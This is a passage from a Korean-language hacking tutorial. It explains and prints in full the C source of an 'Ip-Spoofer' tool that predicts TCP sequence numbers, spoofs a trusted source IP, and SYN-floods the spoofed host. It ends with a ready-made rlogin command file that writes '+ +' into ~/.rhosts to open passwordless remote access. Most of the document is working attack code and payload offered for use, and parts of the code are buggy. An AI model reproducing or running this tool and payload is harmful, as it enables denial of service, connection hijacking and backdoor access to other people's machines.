ACK_start = ACK_guess - 50;

for(i=0;i<100;i++)

transmit_TCP(fd_send,NULL,0,0,0,src_ip,src_port,target_ip,target_port,SEQ_spoof,ACK_start+i,ACK);

추측한 ACK에서 50을 빼고 더한값 사이에 있는 값을 모두 보낸다. 맞을 확률을 높이기 위해서다.

printf("\nConnection hopefully established...\n");

보낸 값이 맞았다고 생각하고, 커맨드 파일을 보낸다.

buf_pos=0;

hlp[3]=0;

while(stop==0)

{

stop 이 0일때 까지 돌린다.

hlp[0]=getc(cmd);

if(feof(cmd)!=0)

{

hlp[0]=10;

stop=1;

}

파일 읽기가 끝났으면 stop에 1을 넣는다.

switch(hlp[0])

{

case '\\':

첫번째 값이 \라면 실행한다.

hlp[0]=getc(cmd);

hlp[1]=getc(cmd);

hlp[2]=getc(cmd);

\뒤 3개의 값을 hlp 변수에 넣는다.

if((hlp[0]=='a')||(hlp[0]=='A'))

{

hlp[0]='0';

ACK_start+=atoi(hlp);

}

3개의 받은 값중 첫번째 값이 A나 a라면 ACK 값을 증가시켜준다.

else

{

buffer[buf_pos]=(unsigned char)atoi(hlp);

buf_pos++;

}

A나 a가 아니라면 buffer에 넣어준다. 그리고 buf_pos 를 증가시켜준다.

break;

case 10:

10이 나오면 실행시켜 준다.

if(buf_pos==0)

{

printf("Firing packet (ACK)... ");

transmit_TCP(fd_send, NULL,0,0,0,src_ip,src_port,target_ip,target_port,SEQ_spoof,ACK_start,ACK);

printf("DONE\n");

break;

}

10이 나오면 패킷을 보내주는 것인데, buf_pos가 0이라면 그것은 buffer에 아무것도 저장이 되지 않은 것이다. 그렇기 때문에

데이타 부분에 NULL을 넣어서 보내준다.

printf("Firing packet (DATA)... ");

transmit_TCP(fd_send, buffer,0,0,buf_pos,src_ip,src_port,target_ip,target_port,SEQ_spoof,ACK_start,PSH|ACK);

buf_pos가 0이 아니라면 buffer와 함께 패킷을 보낸다.

SEQ_spoof+=buf_pos;

보내는 SYN을 buf_pos만큼 증가시킨다. 버퍼에 패킷을 넣을 때 마다 buf_pos가 증가되기 때문이다.

buf_pos=0;

그리고 다시 한바퀴 돌기위해 buf_pos를 0으로 초기화 해준다.

printf("DONE\n");

sleep(1);

break;

default:

buffer[buf_pos]=hlp[0];

buf_pos++;

기본적으로 hlp[0]에 있는 값을 버퍼에 넣어주고 buf_pos 를 1 증가시켜 준다.

break;

}

}

다음은 전체 소스이다.

#include "sys/socket.h"

#include "netdb.h"

#include "stdlib.h"

#include "unistd.h"

#include "stdio.h"

#include "errno.h"

#include "netinet/in.h"

#include "netinet/ip.h"

#include "linux/if.h"

#include "sys/ioctl.h"

#include "sys/types.h"

#include "signal.h"

#include "fcntl.h"

#include "linux/tcp.h"

#define URG 32

#define ACK 16

#define PSH 8

#define RST 4

#define SYN 2

#define FIN 1

#define SCANSEQ         0x3E65F666

#define SPOOFSEQ        0x223EE666

#define IP_VERSION      4

#define MTU             1500

#define IP_HEAD_BASE    20

#define TCP_HEAD_BASE   20

#define ICMP_HEAD_BASE  8

#define IO_HANDLE       1

#define IO_NONBLOCK     2

#define INTERFACE       "eth0"

#define INTERFACE_PREFIX 14

char target_ip[200], src_ip[200],My_IP[200];

int  target_port, src_port, My_port;

int fd_send, fd_receive;

int is_64k;

int DEV_PREFIX = 9999;

sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

int KEEPQUIET = 0;

unsigned long syn_list[5];

int rc_fd_abc123;

sig_atomic_t RC_FILTSET=0;

char rc_filter_string[50];

sig_atomic_t SP_DATA_BUSY=0;

unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;

unsigned int CUR_DATALEN;

unsigned short CUR_FLAGS;

struct sp_data_exchange {

int fd;

char *data;

int datalen;

char *source; unsigned short source_port;

char *dest;   unsigned short dest_port;

char *xtra;   unsigned short xtra_port;

unsigned long seq, ack;

unsigned short flags;

char *buffer;

int IP_optlen;

int TCP_optlen;

unsigned char ICMP_type, ICMP_code;

};

struct IP_header

{

unsigned char verlen, type;

unsigned short length, ID, flag_offset;

unsigned char TTL, protocol;

unsigned short checksum;

unsigned long int source, destination;

};

struct TCP_header

{

unsigned short source, destination;

unsigned long int seq_nr, ACK_nr;

unsigned short offset_flag, window, checksum, urgent;

};

struct sp_wait_packet

{

unsigned long seq,ack;

unsigned short flags;

unsigned short source_p, dest_p;

int datalen;

};

struct pseudo_IP_header

{

unsigned long int source, destination;

char zero_byte, protocol;

unsigned short TCP_UDP_len;

};

void setup(int*);

int Scan_syn(unsigned long *,int,int);

void get_local();

void transmit_TCP(int,char*,int,int,int,char*,unsigned short,char*,unsigned short,unsigned long,unsigned long, unsigned short);

int wait_packet(int,struct sp_wait_packet*, char *, unsigned short,char *, unsigned short, int, int);

int open_receive(char *rc_device, char mode);

void sp_send_packet (struct sp_data_exchange *, unsigned char);

void sp_fix_TCP_packet (struct sp_data_exchange *);

void sp_fix_UDP_packet (struct sp_data_exchange *);

void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);

unsigned short in_cksum(unsigned short *, int );

static unsigned long sp_getaddrbyname(char *);

void Synflood();

void flood(int,unsigned,unsigned,u_short,int);

void Send_auto_guess_ack(int);

void Send_auto_guess_ack(int auto_guess)

{

unsigned long ACK_avrg, ACK_guess, ACK_spoof, ACK_start;

unsigned long SEQ_spoof;

char hlp[200];

char *cmdfile;

FILE *cmd;

int buf_pos,i,stop=0;

unsigned char buffer[1500];

printf("\nInput command file name : ");

scanf("%s",cmdfile);

if((cmd = fopen(cmdfile,"r"))== NULL)

{

printf("Not open cmd file.");

exit(1);

}

if(auto_guess == 1){

if(is_64k == 1){

Scan_syn(syn_list,2,0);

ACK_guess = syn_list[1]+64000;

}

else{

Scan_syn(syn_list,5,0);

ACK_avrg = (syn_list[4] - syn_list[1])/3;

ACK_guess = syn_list[4] + ACK_avrg;

}

}

else{

pritnf("\nInput guss ACK :");

scanf("%ul",&ACK_start);

}

transmit_TCP(fd_send, NULL,0,0,0,src_ip,src_port,target_ip,target_port,SEQ_spoof,0,SYN);

printf("\nSend syn packet to target host\n");

sleep(10);

ACK_start = ACK_guess - 50;

for(i=0;i<100;i++)

transmit_TCP(fd_send,NULL,0,0,0,src_ip,src_port,target_ip,target_port,SEQ_spoof,ACK_start+i,ACK);

printf("\nConnection hopefully established...\n");

// Send Command file

buf_pos=0;

hlp[3]=0;

while(stop==0)

{

hlp[0]=getc(cmd);

if(feof(cmd)!=0)

{

hlp[0]=10;

stop=1;

}

switch(hlp[0])

{

case '\\':

hlp[0]=getc(cmd);

hlp[1]=getc(cmd);

hlp[2]=getc(cmd);

if((hlp[0]=='a')||(hlp[0]=='A'))

{

hlp[0]='0';

ACK_start+=atoi(hlp);

}

else

{

buffer[buf_pos]=(unsigned char)atoi(hlp);

buf_pos++;

}

break;

case 10:

if(buf_pos==0)

{

printf("Firing packet (ACK)... ");

transmit_TCP(fd_send, NULL,0,0,0,src_ip,src_port,target_ip,target_port,SEQ_spoof,ACK_start,ACK);

printf("DONE\n");

break;

}

printf("Firing packet (DATA)... ");

transmit_TCP(fd_send, buffer,0,0,buf_pos,src_ip,src_port,target_ip,target_port,SEQ_spoof,ACK_start,PSH|ACK);

SEQ_spoof+=buf_pos;

buf_pos=0;

printf("DONE\n");

sleep(1);

break;

default:

buffer[buf_pos]=hlp[0];

buf_pos++;

break;

}

}

transmit_TCP(fd_send,NULL,0,0,0,src_ip,src_port,target_ip,target_port, SEQ_spoof,ACK_start,RST);

fclose(cmd);

}

unsigned short in_cksum(unsigned short *addr,int len)

{

register int nleft = len;

register unsigned short *w = addr;

register int sum = 0;

unsigned short answer = 0;

while (nleft > 1)

{

sum += *w++;

nleft -= 2;

}

if (nleft == 1)

{

*(u_char *)(&answer) = *(u_char *)w ;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto)

{

struct IP_header *sp_help_ip;

int HEAD_BASE;

switch(proto)

{

case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;

case 6: HEAD_BASE = TCP_HEAD_BASE;  break;

default: exit(1); break;

};

sp_help_ip = (struct IP_header *) (sp->buffer);

sp_help_ip->checksum=0;

sp_help_ip->verlen=(IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);

sp_help_ip->type = 0;

sp_help_ip->length	=htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen);

sp_help_ip->ID = htons(12545);

sp_help_ip->flag_offset = 0;

sp_help_ip->TTL = 69;

sp_help_ip->protocol = proto;

sp_help_ip->source = sp_getaddrbyname(sp->source);

sp_help_ip->destination =  sp_getaddrbyname(sp->dest);

sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer),

IP_HEAD_BASE+sp->IP_optlen);

printf("IP header fixed...\n");

}

void sp_fix_TCP_packet (struct sp_data_exchange *sp)

{

char sp_pseudo_ip_construct[MTU];

struct TCP_header *sp_help_tcp;

struct pseudo_IP_header *sp_help_pseudo;

int i;

for(i=0;i<MTU;i++)

{sp_pseudo_ip_construct[i]=0;}

sp_help_tcp=(struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);

sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_tcp->offset_flag=htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags);

sp_help_tcp->seq_nr = htonl(sp->seq);

sp_help_tcp->ACK_nr = htonl(sp->ack);

sp_help_tcp->source = htons(sp->source_port);

sp_help_tcp->destination = htons(sp->dest_port);

sp_help_tcp->window = htons(0x7c00);

sp_help_pseudo->source = sp_getaddrbyname(sp->source);

sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);

sp_help_pseudo->zero_byte = 0;

sp_help_pseudo->protocol = 6;

sp_help_pseudo->TCP_UDP_len= htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);

memcpy(sp_pseudo_ip_construct+12,sp_help_tcp,sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);

sp_help_tcp->checksum=in_cksum((unsigned short*)sp_pseudo_ip_construct,sp->datalen+

12+TCP_HEAD_BASE+sp->TCP_optlen);

printf("TCP header fixed...\n");

}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)

{

int sp_status;

struct sockaddr_in sp_server;

struct hostent *sp_help;

int HEAD_BASE;

/* Construction of destination */

bzero((char *)&sp_server, sizeof(struct sockaddr));

sp_server.sin_family = AF_INET;

sp_server.sin_addr.s_addr = inet_addr(sp->dest);

if (sp_server.sin_addr.s_addr == (unsigned int)-1)

{                      /* if target not in DOT/number notation */

if (!(sp_help=gethostbyname(sp->dest)))

fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);

bcopy(sp_help->h_addr,(caddr_t)&sp_server.sin_addr, sp_help->h_length);

};

switch(proto)

{

case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;

/* Warning TCP options were not added - BUGFIX */

case 6: HEAD_BASE = TCP_HEAD_BASE+sp->TCP_optlen;  break;

default: exit(1); break;

};

sp_status	=	sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0,

(struct sockaddr *)&sp_server,sizeof(struct sockaddr));

if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)

{

if (sp_status < 0)

perror("Sendto"), exit(1);

printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE);

};

printf("Packet transmitted...\n");

}

void rc_sigio (int sig)

{

char rc_buffer[1500];

char packet_id [50];

unsigned char *rc_so, *rc_dest;

struct IP_header *rc_IPhead;

struct TCP_header *rc_TCPhead;

int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0)

return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);

rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);

if(rc_IPhead->protocol!=6) return;                          /* if not TCP */

rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));

rc_so   = (unsigned char *) &(rc_IPhead->source);

rc_dest = (unsigned char *) &(rc_IPhead->destination);

sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",

rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),

rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination));

if(strcmp(packet_id,rc_filter_string)==0)

{

SP_DATA_BUSY=1;

CUR_SEQ = ntohl(rc_TCPhead->seq_nr);

CUR_ACK = ntohl(rc_TCPhead->ACK_nr);

CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);

CUR_DATALEN = ntohs(rc_IPhead->length) - ((rc_IPhead->verlen & 0xF) << 2) - ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);

CUR_COUNT++;

SP_DATA_BUSY=0;

}

}

int open_receive(char *rc_device, char mode)

{

int or_fd;

struct sigaction rc_sa;

int fcntl_flag;

struct ifreq ifinfo;

char test;

if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)

perror("Couldn't open Socket."), exit(1);

strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);

if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)

perror("Couldn't get flags."), exit(1);

ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;

if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)

perror("Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)

{

rc_sa.sa_handler=rc_sigio;

sigemptyset(&rc_sa.sa_mask);

rc_sa.sa_flags=0;

sigaction(SIGIO,&rc_sa,NULL);

}

if(fcntl(or_fd,F_SETOWN,getpid())<0)

perror("Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)

{

if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)

perror("Couldn't get FLAGS"), exit(1);

if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)

perror("Couldn't set FLAGS"), exit(1);

rc_fd_abc123=or_fd;

}

else

{

if(mode&IO_NONBLOCK)

{

if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)

perror("Couldn't get FLAGS"), exit(1);

if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)

perror("Couldn't set FLAGS"), exit(1);

};

};

return or_fd;

}

void transmit_TCP (int sp_fd, char *sp_data,

int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,

char *sp_source, unsigned short sp_source_port,

char *sp_dest, unsigned short sp_dest_port,

unsigned long sp_seq, unsigned long sp_ack,

unsigned short sp_flags)

{

char sp_buffer[1500];

struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)

memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)

memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,sp_data+sp_ipoptlen,sp_tcpoptlen);

if (sp_datalen!=0)

memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd          = sp_fd;

sp_struct.data        = sp_data;

sp_struct.datalen     = sp_datalen;

sp_struct.source      = sp_source;

sp_struct.source_port = sp_source_port;

sp_struct.dest        = sp_dest;

sp_struct.dest_port   = sp_dest_port;

sp_struct.seq         = sp_seq;

sp_struct.ack         = sp_ack;

sp_struct.flags       = sp_flags;

sp_struct.buffer      = sp_buffer;

sp_struct.IP_optlen   = sp_ipoptlen;

sp_struct.TCP_optlen  = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);

sp_fix_IP_packet(&sp_struct, 6);

sp_send_packet(&sp_struct, 6);

}

int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned  char *proto)

{

char help_buffer[MTU];

int pack_len;

struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);

if(pack_len<0)

{

if(errno==EWOULDBLOCK)

{

pack_len=0;

}

else

{

perror("Read error:");

exit(1);

}

};

if(pack_len>0)

{

pack_len -= DEV_PREFIX;

memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);

gp_IPhead = (struct IP_header *) buffer;

if(proto != NULL)

*proto = gp_IPhead->protocol;

if(TCP_UDP_start != NULL)

*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;

}

return pack_len;

}

static unsigned long sp_getaddrbyname(char *sp_name)

{

struct in_addr addr;

struct hostent *hostEnt;

if((addr.s_addr=inet_addr(sp_name))==-1){

if(!(hostEnt=gethostbyname(sp_name)))

{

fprintf(stderr,"Name lookup failur `%s`\n",sp_name);

exit(0);

}

bcopy(hostEnt->h_addr,(char*)&addr.s_addr,hostEnt->h_length);

}

return addr.s_addr;

}

void wait_packet_timeout (int sig)

{

alarm(0);

WAIT_PACKET_WAIT_TIME=1;

}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,

char *wp_source, unsigned short wp_source_port,

char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time)

{

char wp_buffer[1500];

struct IP_header *wp_iphead;

struct TCP_header *wp_tcphead;

unsigned long wp_sourcel, wp_destl;

int wp_tcpstart;

char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);

wp_destl=sp_getaddrbyname(wp_dest);

printf("\nWait packet from %s to %s\n",wp_source,wp_dest);

WAIT_PACKET_WAIT_TIME=0;

if(wait_time!=0)

{

signal(SIGALRM,wait_packet_timeout);

alarm(wait_time);

}

while(1)

{

while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)

{

if (WAIT_PACKET_WAIT_TIME!=0)

{

alarm(0);

return -1;

}

};

if(wp_proto == 6)

{

wp_iphead= (struct IP_header *) wp_buffer;

wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);

if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )

{

if( ((ntohs(wp_tcphead->source)==wp_source_port)||(wp_source_port==0)) &&

((ntohs(wp_tcphead->destination)==wp_dest_port)||(wp_dest_port==0)) )

{

if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )

{

ret_values->source_p=ntohs(wp_tcphead->source);

ret_values->dest_p=ntohs(wp_tcphead->destination);

ret_values->seq=ntohl(wp_tcphead->seq_nr);

ret_values->ack=ntohl(wp_tcphead->ACK_nr);

ret_values->flags=ntohs(wp_tcphead->offset_flag)&(URG|ACK|PSH|FIN|RST|SYN);

ret_values->datalen = ntohs(wp_iphead->length) -

((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);

alarm(0);

return 0;

}

}

}

}

}

alarm(0); return -1;

}

int Scan_syn(unsigned long *syn_list,int nr_of_packs,int sec_delay)

{

int i, stat,scanport;

int j=0;

char buffer[1500];

struct IP_header *iphead;

struct TCP_header *tcphead;

struct sp_wait_packet pinfo;

DEV_PREFIX = INTERFACE_PREFIX;

printf("\n Input scanning port: ");

scanf("%d",&scanport);

for(i=0;i<nr_of_packs;i++)

{

sleep(sec_delay);

My_port+=69;

transmit_TCP(fd_send, NULL, 0,0,0, My_IP, My_port, target_ip, scanport,SCANSEQ+(i*69),0, SYN);

stat=wait_packet(fd_receive,&pinfo,target_ip,scanport,My_IP,My_port,SYN|ACK,20);

if(stat<0)

{

return -1;

}

else

{

syn_list[i]=pinfo.seq;

if(pinfo.seq==0)

{

printf("\nThis port doesn't accept connections...\n");

exit(1);

}

}

printf("\n-----------* recieve ok *-------------\n\n");

}

for(i=0;i<5;i++)printf("*Receive data %d = [ %u ]\n",i+1,syn_list[i]);

if(is_64k == 0){

for(i=1;i<5;i++){

if(((syn_list[i]-syn_list[i-1])%64000)==0)j++;

}

if(j>1){

printf("\nThis system is 64k ruler\n");

is_64k = 1;

}

else is_64k = 2;

}

printf("\n\n");

return 0;

}

void get_local()

{

char tmp[200];

tmp[199] = 0;

printf("\nInput your IP address\n");

scanf("%s",tmp);

strcpy(My_IP,tmp);

}

void setup(int *after_info)

{

is_64k = 0;

if((fd_send = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1){

printf("socket error\n");

exit(-1);

}

fd_receive = open_receive(INTERFACE,IO_NONBLOCK);

get_local();

printf("\n Input Target IP : ");

scanf("%s",target_ip);

printf("\n Input Target Port : ");

scanf("%d",&target_port);

printf("\n Input SRC IP : ");

scanf("%s",src_ip);

printf("\n Input SRC Port : ");

scanf("%d",&src_port);

printf("\n\n* Success Get Info *\n");

*after_info = 1;

}

void Synflood()

{

int sock,amount,port;

unsigned target,src;

char exit_ip[200];

printf("\n\nInput exit Address : ");

scanf("%s",exit_ip);

printf("\nInput attack Src port : ");

scanf("%d",&port);

printf("\nInput how many send attack packet : ");

scanf("%d",&amount);

target = sp_getaddrbyname(src_ip);

src    = sp_getaddrbyname(exit_ip);

flood(sock,src,target,port,amount);

}

void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){

struct packet{

struct iphdr ip;

struct tcphdr tcp;

}packet;

struct pseudo_header{

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

}pseudo_header;

struct sockaddr_in sin;

register int i=0,j=0;

int tsunami=0;

unsigned short sport=161+getpid();

if(!dport){

tsunami++;

fprintf(stderr,"\nTSUNAMI!\n");

fprintf(stderr,"\nflooding port:");

}

sin.sin_family=AF_INET;

sin.sin_port=sport;

sin.sin_addr.s_addr=dadd;

packet.tcp.source=sport;

packet.tcp.dest=htons(dport);

packet.tcp.ack_seq=0;

packet.tcp.doff=5;

packet.tcp.res1=0;

packet.tcp.urg=0;

packet.tcp.ack=0;

packet.tcp.psh=0;

packet.tcp.rst=0;

packet.tcp.syn=1;

packet.tcp.fin=0;

packet.tcp.window=htons(242);

packet.tcp.check=0;

packet.tcp.urg_ptr=0;

packet.ip.version=4;

packet.ip.ihl=5;

packet.ip.tos=0;

packet.ip.tot_len=htons(40);

packet.ip.id=getpid();

packet.ip.frag_off=0;

packet.ip.ttl=255;

packet.ip.protocol=IPPROTO_TCP;

packet.ip.check=0;

packet.ip.saddr=sadd;

packet.ip.daddr=dadd;

pseudo_header.source_address=packet.ip.saddr;

pseudo_header.dest_address=packet.ip.daddr;

pseudo_header.placeholder=0;

pseudo_header.protocol=IPPROTO_TCP;

pseudo_header.tcp_length=htons(20);

while(1){

if(tsunami){

if(j==1024){

tsunami=0;

break;

}

packet.tcp.dest=htons(++j);

fprintf(stderr,"%d",j);

fprintf(stderr,"%c",0x08);

if(j>=10)fprintf(stderr,"%c",0x08);

if(j>=100)fprintf(stderr,"%c",0x08);

if(j>=1000)fprintf(stderr,"%c",0x08);

if(j>=10000)fprintf(stderr,"%c",0x08);

}

for(i=0;i<amount;i++){

packet.tcp.source++;

packet.tcp.seq++;

packet.tcp.check=0;

packet.ip.id++;

packet.ip.check=0;

packet.ip.check=in_cksum((unsigned	short *)&packet.ip,20);

bcopy((char*)&packet.tcp,(char *)&pseudo_header.tcp,20);

packet.tcp.check=in_cksum((unsigned short*)&pseudo_header,32);

usleep(100);

sendto(sock,&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));

if(!tsunami&&!KEEPQUIET)fprintf(stderr,".");

}

if(!tsunami)break;

}

}

int main(int argc,char *argv[])

{

int cmd;

int *after_info;

printf("\n\n\n\n\n\n");

while(1)

{

printf("\n/*************************************************/");

printf("\n/*             I p - S p o o f e r               */");

printf("\n/*********************************** getroot *****/");

printf("\n\n\t   0. Input Information\n");

if(*after_info == 1)

{

printf("\n\n\t   1. Scan SYN Packet\n");

printf("\t   2. DoS attack to src host\n");

printf("\t   3. Spoof IP and send SYN to target host\n");

printf("\t   4. Send guessing SYN and Send command file\n");

printf("\t   5. Quit program\n");

}

printf("\n\n\n\n(Input command) : ");

scanf("%d",&cmd);

switch(cmd)

{

case 0: {

setup(after_info);

break;

}

case 1:

{

Scan_syn(syn_list,5,0);

break;

}

case 2:

{

Synflood();

break;

}

case 3: {

Send_auto_guess_ack(1);

break;

}

case 4: {

Send_auto_guess_ack(2);

break;

}

case 5: {

exit(0);

break;

}

}

}

return 0;

}

사용 방법은 메뉴형식으로 쉽게 만들어서 사용할 수 있을 것이다. 그럼 커맨드 파일 만드는 것을 배워 보자.

커맨드 파일이라는 것은 파일을 보내서 그 파일 안에 있는 내용으로 실행이 되는 것을 말한다.

Command file

이 파일에서 사용되는 명령어들이 있다. 그것들은 간단하게 살펴보자.

\

\다음에 오는 숫자는 그 숫자와 대조되는 아스키 문자로 바뀐다. 예를 들자면...

\000 은 null 문자이다. 즉, 아무것도 아니라는 말이다.

\065 는 A 이다.

혹시 ascii 문자표를 모르고 있다면 다음의 프로그램으로 알아보자.

int main()

{

int I;

for(i=0;i<256;i++)printf("%c",i);

}

그럼 command file을 만들어 보자.

우선 첫 번째로 삽입해야 할 구문은 다음과 같다.

<null>client user name<null>sever user name<null>터미널 종류/속도<null>

여기서 <null>역할을 하는 아스키 문자는 다음과 같다.

\000

예를 들자면 다음과 같이 하면 된다.

\000root\000root\000vt100/28800\000

다음 줄은 rlogin negotiation라인이다.

\255\255ss\000\025\000\080\000\000\000\000

다음 줄은 명령어 라인이다.

echo '+ +' | ~/.rhosts\010

\010 은 소스에서 보았다시피 10이 나오면 패킷을 보내게 된다. 엔터라고 생각해도 무방할 것이다.

그래서 만든 파일은 다음과 같다. 아마 특별한 사항이 없으면 다음의 문구를 사용하면 될 것이다.

\000root\000root\000vt100/28800\000

\255\255ss\000\025\000\080\000\000\000\000

echo '+ +' | ~/.rhosts\010

한가지 주의해야 할 점은 줄이 시작하는 곳에 빈 공간이 들어가면 안 된다는 것이다.